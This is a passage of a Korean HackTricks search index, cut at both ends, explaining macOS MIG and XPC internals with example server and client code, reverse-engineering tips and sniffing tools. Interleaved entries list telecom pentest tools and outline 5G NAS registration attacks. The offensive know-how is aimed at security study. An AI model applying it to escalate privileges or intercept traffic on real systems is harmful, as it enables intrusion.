__ReplyUnion__SERVERPREFmyipc_subsystem),\\n(vm_address_t)0,\\n{\\n{ (mig_impl_routine_t) 0,\\n// Function to call\\n(mig_stub_routine_t) _XSubtract, 3, 0, (routine_arg_descriptor_t)0, (mach_msg_size_t)sizeof(__Reply__Subtract_t)},\\n}\\n}; c /* Description of this subsystem, for use in direct RPC */\\nextern const struct SERVERPREFmyipc_subsystem {\\nmig_server_routine_t\\tserver;\\t/* Server routine */\\nmach_msg_id_t\\tstart;\\t/* Min routine number */\\nmach_msg_id_t\\tend;\\t/* Max routine number + 1 */\\nunsigned int\\tmaxsize;\\t/* Max msg size */\\nvm_address_t\\treserved;\\t/* Reserved */\\nstruct routine_descriptor\\t/* Array of routine descriptors */\\nroutine[1];\\n} SERVERPREFmyipc_subsystem; 이전 구조를 기반으로 함수 **myipc_server_routine**은 메시지 ID 를 가져와서 호출할 적절한 함수를 반환합니다: c mig_external mig_routine_t myipc_server_routine\\n(mach_msg_header_t *InHeadP)\\n{\\nint msgh_id; msgh_id = InHeadP->msgh_id - 500; if ((msgh_id > 0) || (msgh_id < 0))\\nreturn 0; return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;\\n} 이 예제에서는 정의에서 1개의 함수만 정의했지만, 더 많은 함수를 정의했다면, 그 함수들은 SERVERPREFmyipc_subsystem 배열 안에 위치했을 것이며, 첫 번째 함수는 ID 500 에, 두 번째 함수는 ID 501 에 할당되었을 것입니다... 함수가 reply 를 보내야 한다면, 함수 mig_internal kern_return_t __MIG_check__Reply__도 존재할 것입니다. 실제로 이 관계는 **myipcServer.h**의 구조체 **subsystem_to_name_map_myipc**에서 확인할 수 있습니다 (**다른 파일에서는 **`subsystem to_name_map *****로 표시됨): c #ifndef subsystem_to_name_map_myipc\\n#define subsystem_to_name_map_myipc \\\\\\n{ \\"Subtract\\", 500 }\\n#endif 마지막으로, 서버가 작동하도록 하는 또 다른 중요한 기능은 **myipc_server**로, 이는 수신된 ID와 관련된 함수를 호출하는 역할을 합니다: mig_external boolean_t myipc_server\\n(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)\\n{\\n/*\\n* typedef struct {\\n* mach_msg_header_t Head;\\n* NDR_record_t NDR;\\n* kern_return_t RetCode;\\n* } mig_reply_error_t;\\n*/ mig_routine_t routine; OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);\\nOutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;\\n/* 최소 크기: routine()이 다르면 업데이트합니다 */\\nOutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);\\nOutHeadP->msgh_local_port = MACH_PORT_NULL;\\nOutHeadP->msgh_id = InHeadP->msgh_id + 100;\\nOutHeadP->msgh_reserved = 0; if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) || ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) { ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;\\n((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;\\nreturn FALSE;\\n} (*routine) (InHeadP, OutHeadP); return TRUE;\\n} ID로 호출할 함수를 접근하는 이전에 강조된 줄을 확인하세요. 다음은 클라이언트가 서버에서 Subtract 함수를 호출할 수 있는 간단한 서버 및 클라이언트 를 생성하는 코드입니다: myipc_server.c\\nmyipc_client.c c // gcc myipc_server.c myipcServer.c -o myipc_server #include \\n#include \\n#include \\n#include \\"myipcServer.h\\" kern_return_t SERVERPREFSubtract(mach_port_t server_port, uint32_t n1, uint32_t n2)\\n{\\nprintf(\\"Received: %d - %d = %d\\\\n\\", n1, n2, n1 - n2);\\nreturn KERN_SUCCESS;\\n} int main() { mach_port_t port;\\nkern_return_t kr; // Register the mach service\\nkr = bootstrap_check_in(bootstrap_port, \\"xyz.hacktricks.mig\\", &port);\\nif (kr != KERN_SUCCESS) {\\nprintf(\\"bootstrap_check_in() failed with code 0x%x\\\\n\\", kr);\\nreturn 1;\\n} // myipc_server is the function that handles incoming messages (check previous exlpanation)\\nmach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);\\n} c // gcc myipc_client.c myipcUser.c -o myipc_client #include \\n#include \\n#include #include \\n#include \\n#include \\"myipcUser.h\\" int main() { // Lookup the receiver port using the bootstrap server.\\nmach_port_t port;\\nkern_return_t kr = bootstrap_look_up(bootstrap_port, \\"xyz.hacktricks.mig\\", &port);\\nif (kr != KERN_SUCCESS) {\\nprintf(\\"bootstrap_look_up() failed with code 0x%x\\\\n\\", kr);\\nreturn 1;\\n}\\nprintf(\\"Port right name %d\\\\n\\", port);\\nUSERPREFSubtract(port, 40, 2);\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS MIG - Mach Interface Generator » Example","id":"2417","title":"Example"},"2418":{"body":"NDR_record는 libsystem_kernel.dylib에 의해 내보내지며, MIG가 시스템에 무관하게 데이터를 변환할 수 있도록 하는 구조체입니다. MIG는 서로 다른 시스템 간에 사용되도록 설계되었기 때문에 (같은 머신에서만 사용되는 것이 아닙니다). 이것은 흥미로운데, 만약 _NDR_record가 이진 파일에서 의존성으로 발견된다면 (jtool2 -S | grep NDR 또는 nm), 이는 해당 이진 파일이 MIG 클라이언트 또는 서버임을 의미합니다. 게다가 MIG 서버 는 __DATA.__const에 디스패치 테이블을 가지고 있습니다 (macOS 커널에서는 __CONST.__constdata, 다른 *OS 커널에서는 __DATA_CONST.__const에 있습니다). 이는 **jtool2**로 덤프할 수 있습니다. 그리고 MIG 클라이언트 는 __mach_msg를 사용하여 서버에 전송하기 위해 __NDR_record를 사용할 것입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS MIG - Mach Interface Generator » NDR_record","id":"2418","title":"NDR_record"},"2419":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS MIG - Mach Interface Generator » 이진 분석","id":"2419","title":"이진 분석"},"242":{"body":"cordscan, GTPDoor, EchoBackdoor, NoDepDNS – 이전 섹션에서 설명한 custom tooling. FScan : intranet TCP 스윕 (fscan -p 22,80,443 10.0.0.0/24) Responder : LLMNR/NBT-NS rogue WPAD Microsocks + ProxyChains : 경량 SOCKS5 pivoting FRP (≥0.37) : NAT traversal / asset bridging","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 8. 도구 모음","id":"242","title":"8. 도구 모음"},"2420":{"body":"많은 이진 파일이 이제 MIG를 사용하여 mach 포트를 노출하므로, MIG가 사용되었음을 식별하는 방법 과 각 메시지 ID에 대해 MIG가 실행하는 함수 를 아는 것이 흥미롭습니다. jtool2 는 Mach-O 이진 파일에서 MIG 정보를 구문 분석하여 메시지 ID를 표시하고 실행할 함수를 식별할 수 있습니다: bash jtool2 -d __DATA.__const myipc_server | grep MIG 또한, MIG 함수는 호출되는 실제 함수의 래퍼에 불과하므로, 해당 함수의 디스어셈블리를 가져오고 BL을 검색하면 호출되는 실제 함수를 찾을 수 있습니다: bash jtool2 -d __DATA.__const myipc_server | grep BL","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS MIG - Mach Interface Generator » jtool","id":"2420","title":"jtool"},"2421":{"body":"이전에 수신된 메시지 ID에 따라 올바른 함수를 호출하는 기능을 담당하는 함수는 myipc_server라고 언급되었습니다. 그러나 일반적으로 바이너리의 기호(함수 이름)가 없기 때문에 디컴파일된 모습이 어떻게 생겼는지 확인하는 것이 흥미롭습니다 . 이 함수의 코드는 노출된 함수와는 독립적이기 때문에 항상 매우 유사합니다: myipc_server decompiled 1\\nmyipc_server decompiled 2 int _myipc_server(int arg0, int arg1) {\\nvar_10 = arg0;\\nvar_18 = arg1;\\n// 올바른 함수 포인터를 찾기 위한 초기 명령어\\n*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;\\n*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);\\n*(int32_t *)(var_18 + 0x4) = 0x24;\\n*(int32_t *)(var_18 + 0xc) = 0x0;\\n*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;\\n*(int32_t *)(var_18 + 0x10) = 0x0;\\nif (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {\\nrax = *(int32_t *)(var_10 + 0x14);\\n// 이 함수를 식별하는 데 도움이 되는 sign_extend_64 호출\\n// 이는 호출해야 할 호출의 포인터를 rax에 저장합니다\\n// 주소 0x100004040(함수 주소 배열)의 사용을 확인합니다\\n// 0x1f4 = 500 (시작 ID) rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040); var_20 = rax;\\n// if - else, if는 false를 반환하고, else는 올바른 함수를 호출하고 true를 반환합니다 if (rax == 0x0) { *(var_18 + 0x18) = **_NDR_record;\\n*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;\\nvar_4 = 0x0;\\n}\\nelse {\\n// 두 개의 인수로 올바른 함수를 호출하는 계산된 주소 (var_20)(var_10, var_18); var_4 = 0x1;\\n}\\n}\\nelse {\\n*(var_18 + 0x18) = **_NDR_record;\\n*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;\\nvar_4 = 0x0;\\n}\\nrax = var_4;\\nreturn rax;\\n} 이것은 다른 Hopper 무료 버전에서 디컴파일된 동일한 함수입니다: int _myipc_server(int arg0, int arg1) {\\nr31 = r31 - 0x40;\\nsaved_fp = r29;\\nstack[-8] = r30;\\nvar_10 = arg0;\\nvar_18 = arg1;\\n// 올바른 함수 포인터를 찾기 위한 초기 명령어\\n*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;\\n*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);\\n*(int32_t *)(var_18 + 0x4) = 0x24;\\n*(int32_t *)(var_18 + 0xc) = 0x0;\\n*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;\\n*(int32_t *)(var_18 + 0x10) = 0x0;\\nr8 = *(int32_t *)(var_10 + 0x14);\\nr8 = r8 - 0x1f4;\\nif (r8 > 0x0) {\\nif (CPU_FLAGS & G) {\\nr8 = 0x1;\\n}\\n}\\nif ((r8 & 0x1) == 0x0) {\\nr8 = *(int32_t *)(var_10 + 0x14);\\nr8 = r8 - 0x1f4;\\nif (r8 < 0x0) {\\nif (CPU_FLAGS & L) {\\nr8 = 0x1;\\n}\\n}\\nif ((r8 & 0x1) == 0x0) {\\nr8 = *(int32_t *)(var_10 + 0x14);\\n// 0x1f4 = 500 (시작 ID) r8 = r8 - 0x1f4; asm { smaddl x8, w8, w9, x10 };\\nr8 = *(r8 + 0x8);\\nvar_20 = r8;\\nr8 = r8 - 0x0;\\nif (r8 != 0x0) {\\nif (CPU_FLAGS & NE) {\\nr8 = 0x1;\\n}\\n}\\n// 이전 버전과 동일한 if else\\n// 주소 0x100004040(함수 주소 배열)의 사용을 확인합니다 if ((r8 & 0x1) == 0x0) { *(var_18 + 0x18) = **0x100004000; *(int32_t *)(var_18 + 0x20) = 0xfffffed1;\\nvar_4 = 0x0;\\n}\\nelse {\\n// 함수가 있어야 하는 계산된 주소 호출 (var_20)(var_10, var_18); var_4 = 0x1;\\n}\\n}\\nelse {\\n*(var_18 + 0x18) = **0x100004000;\\n*(int32_t *)(var_18 + 0x20) = 0xfffffed1;\\nvar_4 = 0x0;\\n}\\n}\\nelse {\\n*(var_18 + 0x18) = **0x100004000;\\n*(int32_t *)(var_18 + 0x20) = 0xfffffed1;\\nvar_4 = 0x0;\\n}\\nr0 = var_4;\\nreturn r0;\\n} 실제로 0x100004000 함수로 가면 routine_descriptor 구조체 배열을 찾을 수 있습니다. 구조체의 첫 번째 요소는 함수가 구현된 주소 이며, 구조체는 0x28 바이트를 차지 하므로, 0부터 시작하여 0x28 바이트마다 8 바이트를 가져오면 호출될 함수의 주소 가 됩니다: 이 데이터는 이 Hopper 스크립트를 사용하여 추출할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS MIG - Mach Interface Generator » Assembly","id":"2421","title":"Assembly"},"2422":{"body":"MIG에 의해 생성된 코드는 또한 kernel_debug를 호출하여 진입 및 종료 작업에 대한 로그를 생성합니다. trace 또는 **kdv**를 사용하여 이를 확인할 수 있습니다: kdv all | grep MIG","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS MIG - Mach Interface Generator » Debug","id":"2422","title":"Debug"},"2423":{"body":"*OS Internals, Volume I, User Mode, Jonathan Levin tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS MIG - Mach Interface Generator » References","id":"2423","title":"References"},"2424":{"body":"Reading time: 12 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC","id":"2424","title":"macOS XPC"},"2425":{"body":"XPC는 macOS에서 사용하는 커널인 XNU의 프로세스 간 통신을 의미하며, macOS와 iOS에서 프로세스 간의 통신 을 위한 프레임워크입니다. XPC는 시스템의 서로 다른 프로세스 간에 안전하고 비동기적인 메서드 호출 을 수행하는 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 구성 요소 가 작업을 수행하는 데 필요한 권한만 으로 실행되는 권한 분리 애플리케이션 의 생성 을 가능하게 하여, 손상된 프로세스로 인한 잠재적 피해를 제한합니다. XPC는 동일한 시스템에서 실행되는 다양한 프로그램이 데이터를 주고받기 위한 일련의 방법인 프로세스 간 통신(IPC)의 한 형태를 사용합니다. XPC의 주요 이점은 다음과 같습니다: 보안 : 작업을 서로 다른 프로세스로 분리함으로써 각 프로세스는 필요한 권한만 부여받을 수 있습니다. 이는 프로세스가 손상되더라도 피해를 줄일 수 있음을 의미합니다. 안정성 : XPC는 충돌이 발생한 구성 요소로 충돌을 격리하는 데 도움을 줍니다. 프로세스가 충돌하면 시스템의 나머지 부분에 영향을 주지 않고 재시작할 수 있습니다. 성능 : XPC는 서로 다른 작업을 동시에 다른 프로세스에서 실행할 수 있도록 하여 쉽게 동시성을 허용합니다. 유일한 단점 은 여러 프로세스에서 애플리케이션을 분리 하고 XPC를 통해 통신하게 하는 것이 효율성이 떨어진다는 것입니다. 그러나 오늘날의 시스템에서는 거의 눈에 띄지 않으며 이점이 더 큽니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » 기본 정보","id":"2425","title":"기본 정보"},"2426":{"body":"애플리케이션의 XPC 구성 요소는 애플리케이션 자체 내부에 있습니다. 예를 들어, Safari에서는 **/Applications/Safari.app/Contents/XPCServices**에서 찾을 수 있습니다. 이들은 .xpc 확장자를 가지며(예: com.apple.Safari.SandboxBroker.xpc ) 주요 바이너리와 함께 번들로 제공됩니다: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker 및 Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist 당신이 생각할 수 있듯이, XPC 구성 요소는 다른 XPC 구성 요소나 주요 앱 바이너리와 다른 권한과 특권을 가질 것입니다. 단, XPC 서비스가 Info.plist 파일에서 JoinExistingSession 을 “True”로 설정하여 구성된 경우를 제외합니다. 이 경우, XPC 서비스는 호출한 애플리케이션과 같은 보안 세션에서 실행 됩니다. XPC 서비스는 필요할 때 launchd 에 의해 시작 되며, 모든 작업이 완료 되면 시스템 리소스를 해제하기 위해 종료 됩니다. 애플리케이션 특정 XPC 구성 요소는 애플리케이션에 의해서만 사용될 수 있어 잠재적인 취약성과 관련된 위험을 줄입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » 애플리케이션 특정 XPC 서비스","id":"2426","title":"애플리케이션 특정 XPC 서비스"},"2427":{"body":"시스템 전체 XPC 서비스는 모든 사용자가 접근할 수 있습니다. 이러한 서비스는 launchd 또는 Mach 유형으로, /System/Library/LaunchDaemons , /Library/LaunchDaemons , /System/Library/LaunchAgents , 또는 **/Library/LaunchAgents**와 같은 지정된 디렉토리에 위치한 plist 파일에 정의 되어야 합니다. 이 plist 파일에는 서비스 이름을 가진 **MachServices**라는 키와 바이너리 경로를 가진 **Program**이라는 키가 포함됩니다: xml cat /Library/LaunchDaemons/com.jamf.management.daemon.plist \\n\\n\\n\\nProgram\\n/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon\\nAbandonProcessGroup\\n\\nKeepAlive\\n\\nLabel\\ncom.jamf.management.daemon\\nMachServices\\n\\ncom.jamf.management.daemon.aad\\n\\ncom.jamf.management.daemon.agent\\n\\ncom.jamf.management.daemon.binary\\n\\ncom.jamf.management.daemon.selfservice\\n\\ncom.jamf.management.daemon.service\\n\\n\\nRunAtLoad\\n\\n\\n **LaunchDameons**에 있는 것들은 root에 의해 실행됩니다. 따라서 권한이 없는 프로세스가 이들 중 하나와 통신할 수 있다면 권한 상승이 가능할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » 시스템 전체 XPC 서비스","id":"2427","title":"시스템 전체 XPC 서비스"},"2428":{"body":"xpc_object_t 모든 XPC 메시지는 직렬화 및 역직렬화를 단순화하는 사전 객체입니다. 게다가, libxpc.dylib는 대부분의 데이터 유형을 선언하므로 수신된 데이터가 예상된 유형인지 확인할 수 있습니다. C API에서 모든 객체는 xpc_object_t이며(그 유형은 xpc_get_type(object)를 사용하여 확인할 수 있습니다). 또한, xpc_copy_description(object) 함수를 사용하여 디버깅 목적으로 유용할 수 있는 객체의 문자열 표현을 얻을 수 있습니다. 이 객체들은 xpc__copy, xpc__equal, xpc__hash, xpc__serialize, xpc__deserialize와 같은 호출할 수 있는 몇 가지 메서드를 가지고 있습니다... xpc_object_t는 xpc__create 함수를 호출하여 생성되며, 이 함수는 내부적으로 _xpc_base_create(Class, Size)를 호출하여 객체의 클래스 유형(하나의 XPC_TYPE_*)과 크기(메타데이터를 위해 추가로 40B가 크기에 추가됨)를 지정합니다. 이는 객체의 데이터가 40B 오프셋에서 시작됨을 의미합니다. 따라서 xpc__t는 xpc_object_t의 하위 클래스와 같은 것이며, 이는 os_object_t*의 하위 클래스가 됩니다. warning xpc_dictionary_[get/set]_를 사용하여 키의 유형과 실제 값을 가져오거나 설정하는 것은 개발자여야 한다는 점에 유의하십시오. xpc_pipe **xpc_pipe**는 프로세스가 통신하는 데 사용할 수 있는 FIFO 파이프입니다(통신은 Mach 메시지를 사용합니다). 특정 Mach 포트를 사용하여 XPC 서버를 생성하려면 xpc_pipe_create() 또는 xpc_pipe_create_from_port()를 호출할 수 있습니다. 그런 다음 메시지를 수신하려면 xpc_pipe_receive 및 xpc_pipe_try_receive를 호출할 수 있습니다. xpc_pipe 객체는 두 개의 Mach 포트와 이름(있는 경우)에 대한 정보가 포함된 **xpc_object_t**입니다. 예를 들어, plist /System/Library/LaunchDaemons/com.apple.secinitd.plist에 있는 데몬 secinitd는 com.apple.secinitd라는 파이프를 구성합니다. **xpc_pipe**의 예는 **launchd**에 의해 생성된 bootstrap pipe 로, Mach 포트를 공유할 수 있게 합니다. NSXPC* 이들은 XPC 연결의 추상을 허용하는 Objective-C 고급 객체입니다. 또한, 이러한 객체는 이전 객체들보다 DTrace로 디버깅하기가 더 쉽습니다. GCD Queues XPC는 메시지를 전달하기 위해 GCD를 사용하며, xpc.transactionq, xpc.io, xpc-events.add-listenerq, xpc.service-instance와 같은 특정 디스패치 큐를 생성합니다...","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » XPC 객체","id":"2428","title":"XPC 객체"},"2429":{"body":"이들은 다른 프로젝트의 XPCServices 폴더에 위치한 .xpc 확장자를 가진 번들입니다. Info.plist에서 CFBundlePackageType이 **XPC!**로 설정되어 있습니다. 이 파일에는 Application, User, System 또는 _SandboxProfile과 같은 다른 구성 키가 있으며, 이는 샌드박스를 정의하거나 _AllowedClients는 서비스에 연락하는 데 필요한 권한 또는 ID를 나타낼 수 있습니다. 이러한 구성 옵션은 서비스가 시작될 때 유용합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » XPC 서비스","id":"2429","title":"XPC 서비스"},"243":{"body":"5G 등록 절차는 NGAP 위의 NAS(Non-Access Stratum)에서 실행된다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증되지도 암호화되지도 않는다. 보안 비활성 창(window)은 N2 트래픽을 관찰하거나 변조할 수 있는 경우(예: 코어 내부 온-패스, rogue gNB, 또는 테스트베드) 여러 공격 경로를 허용한다. Registration 흐름(단순화): Registration Request: UE가 SUCI(SUPI 암호화)를 전송하고 capabilities를 보낸다. Authentication: AMF/AUSF가 RAND/AUTN을 보내고; UE는 RES*를 반환한다. Security Mode Command/Complete: NAS 무결성 및 암호화가 협상되어 활성화된다. PDU Session Establishment: IP/QoS 설정. Lab 설정 팁 (non-RF): Core: Open5GS 기본 배포로 흐름을 재현하기에 충분하다. UE: simulator 또는 테스트 UE; Wireshark로 디코드. Active tooling: 5GReplay (NAS를 NGAP 내에서 캡처/수정/재전송), Sni5Gect (완전한 rogue gNB를 띄우지 않고 NAS를 실시간으로 스니핑/패치/인젝션). Wireshark에서 유용한 display filter: ngap.procedure_code == 15 (InitialUEMessage) nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 9. 5G NAS Registration 공격: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay","id":"243","title":"9. 5G NAS Registration 공격: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay"},"2430":{"body":"앱은 xpc_connection_create_mach_service를 사용하여 XPC 서비스에 연결 을 시도하며, 그런 다음 launchd는 데몬을 찾고 **xpcproxy**를 시작합니다. **xpcproxy**는 구성된 제한을 시행하고 제공된 FD 및 Mach 포트로 서비스를 생성합니다. XPC 서비스 검색 속도를 개선하기 위해 캐시가 사용됩니다. xpcproxy의 작업을 추적할 수 있습니다: bash supraudit S -C -o /tmp/output /dev/auditpipe XPC 라이브러리는 kdebug를 사용하여 xpc_ktrace_pid0 및 xpc_ktrace_pid1를 호출하는 작업을 기록합니다. 사용되는 코드는 문서화되어 있지 않으므로 /usr/share/misc/trace.codes에 추가해야 합니다. 이들은 0x29 접두사를 가지며, 예를 들어 하나는 0x29000004: XPC_serializer_pack입니다. 유틸리티 xpcproxy는 0x22 접두사를 사용하며, 예를 들어: 0x2200001c: xpcproxy:will_do_preexec.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » 서비스 시작하기","id":"2430","title":"서비스 시작하기"},"2431":{"body":"응용 프로그램은 다양한 이벤트 메시지 에 구독 할 수 있으며, 이러한 이벤트가 발생할 때 요청에 따라 시작 될 수 있습니다. 이러한 서비스의 설정 은 이전과 동일한 디렉토리 에 위치한 launchd plist 파일 에서 이루어지며, 추가 LaunchEvent 키를 포함합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » XPC 이벤트 메시지","id":"2431","title":"XPC 이벤트 메시지"},"2432":{"body":"프로세스가 XPC 연결을 통해 메서드를 호출하려고 할 때, XPC 서비스는 해당 프로세스가 연결할 수 있는지 확인해야 합니다 . 이를 확인하는 일반적인 방법과 일반적인 함정은 다음과 같습니다: macOS XPC Connecting Process Check","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » XPC 연결 프로세스 확인","id":"2432","title":"XPC 연결 프로세스 확인"},"2433":{"body":"Apple은 또한 앱이 일부 권한을 구성하고 이를 얻는 방법을 설정 할 수 있도록 허용하므로, 호출 프로세스가 이를 가지고 있다면 XPC 서비스의 메서드를 호출할 수 있도록 허용됩니다 : macOS XPC Authorization","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » XPC 권한 부여","id":"2433","title":"XPC 권한 부여"},"2434":{"body":"XPC 메시지를 스니핑하려면 xpcspy 를 사용할 수 있으며, 이는 Frida 를 사용합니다. bash # Install\\npip3 install xpcspy\\npip3 install xpcspy --no-deps # To not make xpcspy install Frida 15 and downgrade your Frida installation # Start sniffing\\nxpcspy -U -r -W \\n## Using filters (i: for input, o: for output)\\nxpcspy -U -t \'i:com.apple.*\' -t \'o:com.apple.*\' -r 또 다른 가능한 도구는 XPoCe2 입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » XPC 스니퍼","id":"2434","title":"XPC 스니퍼"},"2435":{"body":"xpc_server.c\\nxpc_client.c\\nxyz.hacktricks.service.plist c // gcc xpc_server.c -o xpc_server #include static void handle_event(xpc_object_t event) {\\nif (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {\\n// Print received message\\nconst char* received_message = xpc_dictionary_get_string(event, \\"message\\");\\nprintf(\\"Received message: %s\\\\n\\", received_message); // Create a response dictionary\\nxpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);\\nxpc_dictionary_set_string(response, \\"received\\", \\"received\\"); // Send response\\nxpc_connection_t remote = xpc_dictionary_get_remote_connection(event);\\nxpc_connection_send_message(remote, response); // Clean up\\nxpc_release(response);\\n}\\n} static void handle_connection(xpc_connection_t connection) {\\nxpc_connection_set_event_handler(connection, ^(xpc_object_t event) {\\nhandle_event(event);\\n});\\nxpc_connection_resume(connection);\\n} int main(int argc, const char *argv[]) {\\nxpc_connection_t service = xpc_connection_create_mach_service(\\"xyz.hacktricks.service\\",\\ndispatch_get_main_queue(),\\nXPC_CONNECTION_MACH_SERVICE_LISTENER);\\nif (!service) {\\nfprintf(stderr, \\"Failed to create service.\\\\n\\");\\nexit(EXIT_FAILURE);\\n} xpc_connection_set_event_handler(service, ^(xpc_object_t event) {\\nxpc_type_t type = xpc_get_type(event);\\nif (type == XPC_TYPE_CONNECTION) {\\nhandle_connection(event);\\n}\\n}); xpc_connection_resume(service);\\ndispatch_main(); return 0;\\n} c // gcc xpc_client.c -o xpc_client #include int main(int argc, const char *argv[]) {\\nxpc_connection_t connection = xpc_connection_create_mach_service(\\"xyz.hacktricks.service\\", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {\\nif (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {\\n// Print received message\\nconst char* received_message = xpc_dictionary_get_string(event, \\"received\\");\\nprintf(\\"Received message: %s\\\\n\\", received_message);\\n}\\n}); xpc_connection_resume(connection); xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);\\nxpc_dictionary_set_string(message, \\"message\\", \\"Hello, Server!\\"); xpc_connection_send_message(connection, message); dispatch_main(); return 0;\\n} xml \\n \\n\\nLabel\\nxyz.hacktricks.service\\nMachServices\\n\\nxyz.hacktricks.service\\n\\n\\nProgram\\n/tmp/xpc_server\\nProgramArguments\\n\\n/tmp/xpc_server\\n\\n\\n bash # Compile the server & client\\ngcc xpc_server.c -o xpc_server\\ngcc xpc_client.c -o xpc_client # Save server on it\'s location\\ncp xpc_server /tmp # Load daemon\\nsudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons\\nsudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist # Call client\\n./xpc_client # Clean\\nsudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist\\nsudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » XPC 통신 C 코드 예제","id":"2435","title":"XPC 통신 C 코드 예제"},"2436":{"body":"oc_xpc_server.m\\noc_xpc_client.m\\nxyz.hacktricks.svcoc.plist objectivec // gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server\\n#include @protocol MyXPCProtocol\\n- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;\\n@end @interface MyXPCObject 